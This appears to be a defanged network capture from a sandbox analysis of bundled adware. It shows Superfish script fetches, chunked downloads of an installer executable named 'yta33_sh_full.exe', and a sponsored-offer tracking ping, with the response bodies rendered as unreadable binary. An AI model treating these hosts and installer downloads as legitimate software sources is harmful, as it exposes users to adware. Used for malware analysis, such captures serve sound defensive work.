............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /ws/sf_code.jsp?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&partnername=pelmmbomol&CTID=xUSIF2Awsmtycl&ver=2015.2.9.16.26 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:26 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=F8420BD5FF11026DB9641BE8218E28D0; Path=/ws

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public, max-age=2592000

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a...............r$G....4.w..\#.&..Z..]V...]s....)..F........X.H0..z
.;32...42I#...oez.}.[..?.....Pd7mL...d,...?.9..)G."IG;.?~....>.....
.\%.(....."..........Gy2L.a6...l..A. O..|.W.....{WWW.y9..N.......U~o..
.............re.gIt.Z........~...P8..9.r.a..I....A.i]dg...z*...%."...:
:=8|x...........}.....G...OB{......M..P,...M..A..Y;f..,.....#V....u5.b
.-|txpr.....y.<.<..2.j........l..c........k'.o] .6.rr....#8...5.
ZX..}t...C.F_g....u.ex}.M.. ..In.N....V~/J/.{G.g.G......&...0LF.dGW@u.
5I.E...u..nq...y)....u;.EX....iV..-.5...m.Y..^..../.z.|.c.......0..I..
...}r.W.(,}.^<... ..Pw?Fq;.....G#...o.........7..aX.{...l.g...*...x
.....t... 8<...GQ..C{...).e.?>....|..\.(.S9....>.........._=.
t.....Q..._......`z.......c..6.'e1.....o^?...%.Gz6......!..v:*@....{..
.a.....O#..^....geQ...q...y..tRP..Q...AQ?.2..V8.l...gp>...._a...K."
p...1....8..E...A;.C.._..(Gq.n8.T....k...,.{..p.o.v/.....pz......8..._
j....$...x.N=r.v.".b5.f..0..O.kx.`..m..[?}.~s/n..u.3..-.$#....f}.9..hq
.....H....r@..[...?.....6.....,a....l.....,.._8.......~.x......G....^5
.V....Z/....M.~=.../~....W.i./...P....(./?....X...Zc9|.W..._m,...c.no.
x....'.....O.`d....n.......t..=...O..d..M....|..8..\-4.y.....?......R.
...lAk2...xQ.2.....V.-79.........&w..V'...RK;........:,.....v..C..}Wj.
...x0..q..Gi6..- .....x..P....2..i.KZ.=..IZ..)...}Q.^..(.g...A..'..ya.
nR.#.<...=........Fiw.8~n..a..........".$q._......5T_0F.eU.[..".\=.
..$....n. ]D..xP...]7.Y.....I....7.p.e}}...z?KK..N6/A...?..q.....i:fM]
..p|..n.Z.f..O.]u... .'.u.....7CW.GiYXK.rP.r..M2....t.w..x. l.....<<< skipped >>>

GET /ws/slideup2/main.js?ver=2015.2.9.16.26 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:26 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 09 Feb 2015 12:56:19 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:26 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
1069.............[[o...~V...qj... )h.(..[.....Z......rV..%.. Yq....3..
...Z.m...%..9.....U9....7....._m\..8 .L.jq...l#/..O..w...EZ.r..7..d...
..L.....eZD..%......p(.....x^.M.....\..?.;.l.......}C..ry}H....V......
*z...x.yS..l..:...{.*0.hi.u.......,5..y.....<...../.....].F]5.i#.9.
...1c4f...Z.Wyc..]..q.1.........^........_...]..:B.i=.v.........._.N(.
.r.......!...R..i8.Fd.........a..r.zv.kq0f.W..2o.^$.D....Z...HD....w..
x...........N.V..rS....s.......{_.x..Y{.....&.I......m.d5./;Z./."m...V
..MV]^..d...s,|......b......#.....t1?.D.R..d...j.A/.....eR....dI..E.'_
..H.....}......j.#.]I...7.=....AO...j......d...E.=.=|^.R.8.J....p.{...
..gx.[.....d.0".C..;.VM9.....FHW..R^.kq..Y...h.E.)/qc.R.d.A......c%...
..k..f%..!..^u#.............g:x..a.s..... ..>........=).U...)......
GT.yE.....IH..I}.........\^.1>.;..ae....kF..\..9".-.....g.[..N0....
...p.`....:..<<'..Lr.......O...M\.3...&.....Y#..........Ib.S&.)h
.<&..G.2bW..K..q.....x7..-...W..T.......%LR#?...%.A.D.&8O..]...Y.je
.4........}~cp...Fy.-B.#.7............Z....r.Q.on.$&.....VM..i.d.G.&Ck
...;En.E...deY5_-Q_$......."..j..\;.S..C......<...ED$.r5`...Eo\...q
^.....l...G".....hG|[email protected]..`..F.l..Y.......".sRg.$..."m.X.S&cL.[Y.H.
.Ul.<....i....6.0[d......7Mu..#..K.|....#h.:...U...b(..........  .S
.e0|...2x. .k..$..*.JQ...i.....q.;k].m.`.......L.EU5q.x...\..R.IZ.`L.d
.U)R.>.E!.7..|..o:s.t.....AMK.J.S...5..N<DLq......P..kc].*..,.. 
.......e^..8.J0..X.h]..MK.Nn...j......K8....s).....*{.dGq..)`.0..~...&
gt;.f...Q.a.Z.![k......[..$.../..&%.D..k..sn.QLV]5........8..(....<<< skipped >>>

GET /ws/css/main.css?v=2015.2.9.16.26 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:28 GMT

Content-Type: text/css

Last-Modified: Mon, 09 Feb 2015 12:56:19 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:28 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
2351.............=ks.G......9...qL.OQR*uG.VV..........Ci.....G\...h4..
=.3..w..N..kH..h....gv.^mv.~....n......W...y.Z.,..:.6.....v....].....u
....x.=..Z.N.g.j..v?......].|4.....l..w_}.....|p.YoV..t.M.&...2If.v...
<O&...-.5I....ly..._..l.-o...j3K7...l..=O...J..6.nnw..].l.7.rx.....
?.[..e.A.`.e....E.L.........Cc............E.....L..}.t.X.6..6.d;Bx..v.
.....!...|...^..w....w?:.O..lV..L...........v....v...ll.........~A....
..v.q..  "....w..]c.NW...Q)...........j.......[...e...fD,F......v.....
n.?$.F21^...........6;6.lW........[.aUX.6.v.ABt..7.x.H..n...x......O.F
}..F....`....|)..$.Ws..~J5m..rF#.......?h6....cE...o....v.............
.t..;6..%..d.At......(R. ..> i..].,.9I.(.C.M....Q?I|. u.....>...
.*....g.~{...n.2j......\/..AU2u....i..5...|.a..!.M...K./#..k.\.!..1j..
R.Y..Zhh}..........R{.....4......l..=.....t....[.2..!.#.j..).Q...OR...
..m....<..<.....)[email protected]#.......qL........^..h#.....g.........O.
*..i.7..{fKc.....W...\.... h.3CJ..G'...8.5}Ei...S y..V.#.....l.P..}.E.
...m.*}..Yu...RIs[.j..o.%...O...%..F?..%.*\.....V..B.....IMhma..D.?.T.
..f.....n.2=..#.n.K....<b..NP..`.5.s.@}...x.....\..<-p..........
...3.yu..2.@,aJ4.tP%.....#b/[email protected]..,]......y....
b.Z...3Q.X..2....p....p.z..J.A.......X..9.DK!.kr0.kF......H .R..d..(..
....."..6..-..}5.j.....@.......&..s...{.k./fMn....*2.....q......`,..N.
...$!.......YS.........jc....K(.h..0.$............}..........x.q....9.
.2'Q.:..Q.....f,O...8O...`.i.-F-.c.....q%Z..".=...R.....}N.."...|}....
..Bn....5....9..f7.g.[....]TX.p....a8Us...}.].....T.......H..bRe.c<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 250000-499999/7592848

Age: 43934

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: i7GVHCJ65xZwEO_Pb4l3nfDvmdhQfNiqhpcw0rR-RFKlz51E_Q95eQ==
.L.[(Y...p..Iju.p.<..)..V....Dm...x%...H2..\1|.NZ1.h.r.%.m"I.......
[email protected]/......w.h....../i..P.......:..L.H|..&.s....E.M[..H....V.
,[email protected]{.......z.g...=..i.G.........-f.x....9..]Oh.S..
M....K....Y.k$..ta.._k...6>|h.\..pH.l.../_Gba.>t. [email protected].
..T...t{Rz\z.}.. E2.B......xF..`[email protected]......
dQ.&jM.....IAX3.7.O..\....IH.R~......#.S..j]g.....%...&...5E...PF..3.;
......\M. c>'/.......Km..sRBX.....H...)@...F..ao.;h......3.FE......
.RX...U.C..k.E1...|f.*.u[.Q5... ..WpDRw.I.$D.......0...ti.....P.;...X]
.g..2.z..[1...R.H..0c...{.....Ey)[email protected].~n#.}?.....[W".<.F......{5..
...fU"/P..!...P<B....w.I.#..DS4:X"%.... ....|[email protected].....,...
M.o)...Eg.......n6..i.JJsYl.$..?.`....o.."........mA\.gX.....e~.....|.
.......M..G...?....?..._?.D..z...7A...&.....O....d.[.......[..........
.q.@p(J..m....t.P .JS.q...$~Y..U.&:...N a..X..L...tL...;.:.On......: Q
 ,{.=..A..d;...a.....*-6.`1...:|7..Y...../...(..). ^R.u..K...1P.n..k=c
CF......r..(M.Rr.E....J..!^...e.y...P.E../.w.N.T....].[.[....&..i..5.m
d..h.x...L.......Q..:.b..E._.V.$f...5..df.W.....'..{....~..' ZY4..2...
......."......f.?.@[email protected]$.4..L(.....YVZ.&..P....A.V..>.p..Sb.h.H
]B.....\h..t..8...u.o....Y.q..Y.......kK.U(.f.J5.3 .......; 4n......0.
k.......\.X.q............d.N..k.mgN$..F|\Dy.w..q."...m....^h.....L4...
..IH..vwW%;.c..2v`.....x..9.G.YjQ.W....C....AQR'...:......3.u.. ..D.n.
.a..S.Jmh.qFZ...).G%.m....c?...\..'t......b..z..._0.;z...$Z\s..Q......
4Ue_q.......D.YDN.i{..V.X...;H..K....Z.~....F....G.F=.zg..O..'..r.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



.. .....?^v....m8'.E./.p4.../...B.;....sJzb...;MS.....6.2i.b.\=.......
~...........#..../Az..\l...:...h..7.k(.H......%.....4?,.....pW.L.*.h..
......5*>|.@U\.K....S;[email protected]<..s>1.......T1..{q..;.
U&.:.E....fc.{.c..x...x.......;....@)........I... T..".A.T....2...2.Z.
.=F?...H.p|.......&|.$..=.;}.....<..9..F.V]....{..'z.....ubye...I..
.A...5...I..~..n.|....~Q..*....q.._..............R(.St.w_/k...o....:z.
0%.>9 .......t.YYv.1.0!?.;..v.Y.......W............>..).6}.Kn...
.OH..1...).p:...8n.3..q.....-...`...m....A..5.u....N.vB...h.....L.....
yB.a..?7...9.y.....=.........6[*1.`...P.M#{s..[.&..9TZ..BrT^.....`...I
3u....2..... s...h.^.|.......N%...0&_.6....6.([email protected]<.~
..R3..L.=......xJ.......OLB..BJ....DC.P^.....0I`.q0..S..X<..|...L..
.M......x=.~.e'P..}........_v..H.s.?....&%..4..Hc.F./..|:.Ag.....r....
[email protected].?l.-.....r
R....).`o3.7.~.b.y....A.....N....L..;H{...*X...a...J(]t.w...i..U.!.C`.
d....jwX.....=..q..}.L....x...........\...c....J..-.......m%.6hl.F..k|
..S..5....^5.3.Z.a..o.....Q.>.{9!]k..X.Xk.x..Zeg.SZ/..0....&.....18
.tt......":.(^T,S...Sl..uf..J..k...nI.KlDw..q.....x3VkE7.....mXe..#Z.C
[email protected]^hp1.k...1....!.`a........l....[._.....no.
i;.H.;DS..W..$x.|...v.ZS!.w.A....v.....lub......P,h...s{.....kL..[P.F_
.............sUb.oF.......oM.h....SN. .Z......b......[S..9.h....V....q
^...T.&g.IK...[........).x.........xWic.!..t^....e......w.....{...8.3a
..S.0..e..m..m..m.._..m..ms..d...M6.~r..J..j....h.#-....j.{.....j.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1750000-1999999/7592848

Age: 43934

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _WSLEwqKcwkL0VIRxJhpB4sMXQ0rlc3PLC-L41ROOcyqnYuPJRqDDw==
..P...n..q.r....c....'?Cs.kv..:.I...x.G..........u^...u.E%..B.N.8e..d.
Cg.. ...C.....ZI....z.>J.........$*.. }k.Vr...l.f...*...jAk..&~....
"SXpq.1...."...c..l.......2....bk..o.....\.a......^.i=.5.I.Z..Ox8%N ..
.B.....!(....c..j...9..z~B..`l&..Af...^[email protected]. ..=....L0U...
..)....9.....;`.....U.......(F.w....s....s......[....e<.|;9..i.Gh..
.5~h85.S.L.H)t..K........xs.Z-b.........L..rL.Go.j..~...p..Ue..Z..'...
..T.O.?.M...x].E....W.K6>...<......... ......f.=...........Y8..?
..Pa..c..C...J...X....[C;.t.....C. .......p.].l2~.=....=..R...gK...F.d
;npk&.E...}....[..U0..@..][email protected]=.m...R...........UT...........*..=...W.
.5.F\.Y..;..c4...P.D5..'j,9.........Z..(....2..E4.....&.......V<..T
(....GP}7,....2.c...!._w. .WI......k.R`U....,.....j..(......n...H}....
a.<..q...).........*[email protected]^SLX..e._..F....N.
.......u#.RCI|).&..c......<....4..=:..`.-.d..H...Z.X>n.....4.VV.
..g.&.{a~.^.......f.......T.f.}[email protected](;.JYQ.
<.....-.}h.g......6.S.'[........{fi..W..!..K.._.Uq..w..m.u.. (.....
...w...s^..R.T.ei..,.N)...y.G...?........q,...F..D.....-..^R.....kk..~
e....X....(<...7]..gTB...g.....}v.3W.t.h\g.....V...!..pD........'.E
......!...>2.G#B..f...E..&.=p.L.b$:.....%.N..E......A5</.......$
/../...bu$...;.V.V;1......y.%...2..8...K.".....p.....8..l.\^.>7h...
...-.....z.."o...T.|3...jP......[f'...y..ai..IA;..Q...?9j......X.4.'9-
.%..{............j..'I.h.....Q............l.......J.%8....e.:....$u.7[
e...].........d->.I.>N|*.....2.......GO.... ....H.......J...<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2750000-2999999/7592848

Age: 43934

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nTdhNC5BHRTGvRfJASGS7-wA_EouBljvilf3yFewxLykW9kYgvy16Q==
.."V.....iU.(VE.W..a..g.G.... ..1;.&E....L./.zO...9<.p.......K.....
..|........:[email protected].."....x(N&.-......`.;..Je.<U.R...CJe.
<>......*.........M.<.......YA..y.....(...G..n......</...i
^........HL.{...W..^........K...n..#..I.....=....x.....T....g.^q. .d&.
P......Vj..h.?._.u..e'...P..>.....sA......K.sY......D2..k......j...
....W..3b..F.?K!.....^6gI.:.../ .... ....I..._...z >.<..].d.....
R3...3<.Ni.....K.?=v..4..b....O/.-..GFsr^.9......-.B.;c.......|....
..H..(.7N....b..p.7e..7L1?z.1P.......7.........[q...[L....-M.;.O....V.
... ..d..|Th..8.X.\.z)....w.8B..7...'.k.r.y....../..q.)...[.p&].N6.xc.
.....m.xc'ol..m..m...U.z.y.g..t.AMM..!G.........O....[.y...|..3..6...x
....}....}X*.....$..XX[`.i?\....A.x.%.:.z........Pw..D......'O!>..(
{......`..c.....A.w!...bt.I..I.:D.......s.8Q..P....GRaZ._BK .......h..
La,.D..H.........9Fij.-...W......yY..BU,..0....}.,\..oG...N...].b.5...
..Z..p. ....*...v*.......N..$n.\4...$..dUo6....Ci...xzY8m.C...g."m....
[email protected]%"!...gU.."s.$.E.3....an....O.F....".`...........6..../.2...
..k...._....EA..%!..`...|...P]'hV.S..]..E.xIj.N...'....\....[.....@Mn.
..|......cqf..u$........... |...w........i.$..u.{.B.M..H.....?..'.. y.
.&}=7...L.....u.... _......l.Q....h....\.......Jv....6.t.a...M.......:
^..;[email protected]./."1.....KT|)...k.o....?0s..>
;A.xz.ovd.....?.d.....*...*]_.....?$....G0..sp{.8=.h9.x.. .w*..D..b.-.
).*....j.<).Ri.^..;~...y..L.....$....R...M....YX#\........i.e.....4
...1.~*.[D0x...?.....[........'.ob.../..D.?x.U:....LY1.... .S.C[..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /ajax/libs/jqueryui/1.10.3/jquery-ui.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: ajax.googleapis.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/javascript; charset=UTF-8

Last-Modified: Tue, 07 May 2013 09:09:49 GMT

Date: Fri, 23 Jan 2015 09:49:04 GMT

Expires: Sat, 23 Jan 2016 09:49:04 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 60666

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 1534266

Alternate-Protocol: 80:quic,p=0.02
............kw...0.}...$.0.)r&.&.!..x..Y..{.N....!["..`.p......K......
......{WwWWU......_..N4.N.......l2.N..............=9Yw.6;?.......,.[H.
.Znv .f'.1..FL...V..ru#:/....~.US...o6..z...7.-..Ho.F,.PF.....5....%Le
U.....j..v#:..7...._.........(.M}.......V.Y..Z.g0^n.m8.A......z5..u1.S
o....o.....P...m...:..........oCY.rh.]ST.u.....yI..-..ro....Y.....^{..
..z...Z?..7........C. .S.......{`L'E.:...hN.u.5%...i/N.*..j..../_.<
9....6....T$w....EZ&wo...J..H.\L*X.o.[.c..~'..E ..........E..y3. (....
....u^M*.......gg..Yt[l.t5..<....... 8.P8.E4.G."J......8;k."I..Y...
e..u{>..N..p8{>`..._!.|.....d~*.0.x.WY$..c....L.i..44....y.M..4.
.r.....-.....gg.....o.dR.V.(..._\..[.....JT8.n.l..[.m.Q....>D.!.lDu
........y..]9.W..V._._t.=r.g..;.8.NT..S...0H.1..OG..........._....=..2
.].....~..~....._.|.2..o.......7...7.e.>.?.^~..../.x.......O.......
.._...U....o...w.?{......T.~...._?.*...:........2S)....T........}.gH..
J....x..... ...w....k..........=K.{......~?M...?....>.i>{..z....
)........ ....z.k3.Df.uR..z........u....>)..t.Q,..2......Z..*oE....
.e..8I[.x..h..}p..I&&.v.....hnv.....!..SM..l...;.y...<.8.D$.8;;....
.r....} .y8h...#...$.......]'..c...?...c..^5........u...q.x..y...5l..M
..JF........>.4..x.d.....h.s.......Hb.. ...I`....|Y..{.%....qy.."Q.
M7..#.x.P......nb.Km..A...4.\....t..fU...Q...h.8R..h...#...7M.>`..2
..h..U...8.t..9-.o.o...N..*Q...j...1N.2uzHwU........'.3L..j....<b..
.NF..V..6..V...l....\...w2...w].W../.FW....t.e.".........K....b......(
zSI...R.. <..[[email protected])pj"...)y1a.....W..]...<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=db3f86fab0fe4cd5e4a4746bffe5c0c1&tokyo_csrf2_timestamp=1423540682&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.9661696023962157 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.576676510.1423540685.1423540685.1423540685.1; __utmb=1.1.10.1423540685; __utmc=1; __utmz=1.1423540685.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:35 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 03:58:35 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.omniroot.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 04:01:25 GMT

Last-Modified: Thu, 05 Feb 2015 19:47:05 GMT

Server: ECS (ams/D1C2)

X-Cache: HIT

Content-Length: 1406
0..z......s0..o.. .....0.....`0..\0......`;.l.uZ..k.F..^|A.Tb..2015020
5094606Z0g0e0=0... ........./Ev..Y..].....x.#......Y0.GX....T6.{:..M..
..'.G....20150204200915Z....20150505201415Z0...*.H.............g...].R
...<[email protected].... .......v...MM.pos"y.#F..{K........D
.S_.F?.u...........Z"..?.....Q.:4...pm.T.R../{iU..6.........3z3.".....
.a._P.....e.n$-...SCoP..V....l.B.CU!....D..8....O. _....AHl{W=Dc. .(.I
`.h..e..R........I..K...6!.r....>t.l.../.I....0...0...0...........'
..0...*.H........0Z1.0...U....IE1.0...U....Baltimore1.0...U....CyberTr
ust1"0 ..U....Baltimore CyberTrust Root0...150114195242Z..160114195229
Z0G1.0...U....US1.0...U....Cybertrust1#0!..U....Cybertrust-Validation-
20110.."0...*.H.............0.........?....(Fb....G... ..=..(L..wK...0
4..I......C...1.Z......U.$b.f..Pa.....S...#..B.........^T..IP8........
..h8GM..*.4.MP..../[email protected]
.x....$..@@....q2...Uby.e......D....lf...C....ZP}O......7...mM..c.g..j
.\.>.O....G.A........0..0... .....0......0...U.......0.0...U.......
....0...U.%..0... .......0...U.#..0.....Y0.GX....T6.{:..M.0...U......`
;.l.uZ..k.F..^|A.Tb0...*.H.............n.h\Ch*G.c..yr..."._....J.-....
j.t%..e.....([email protected]!m...sZH.N..>.S....K..........7wi3..x.D..l..u
d.....CC......<.&.2. ..d...T.......;.S....\... ......m.6......#(.&.
...q.[z.........r..T....W...7ea.}..B.1........al.]i.F...-.0c...y.=?...
.E...........'>..O.._..<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/flvplayerkuiw/796c1daebeb52f4eabf469c6ed8ad1c0?v=2.1&uid=796c1daebeb52f4eabf469c6ed8ad1c0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 03:04:32 GMT

Expires: Tue, 10 Feb 2015 05:04:32 GMT

Last-Modified: Fri, 16 Jan 2015 00:55:08 GMT

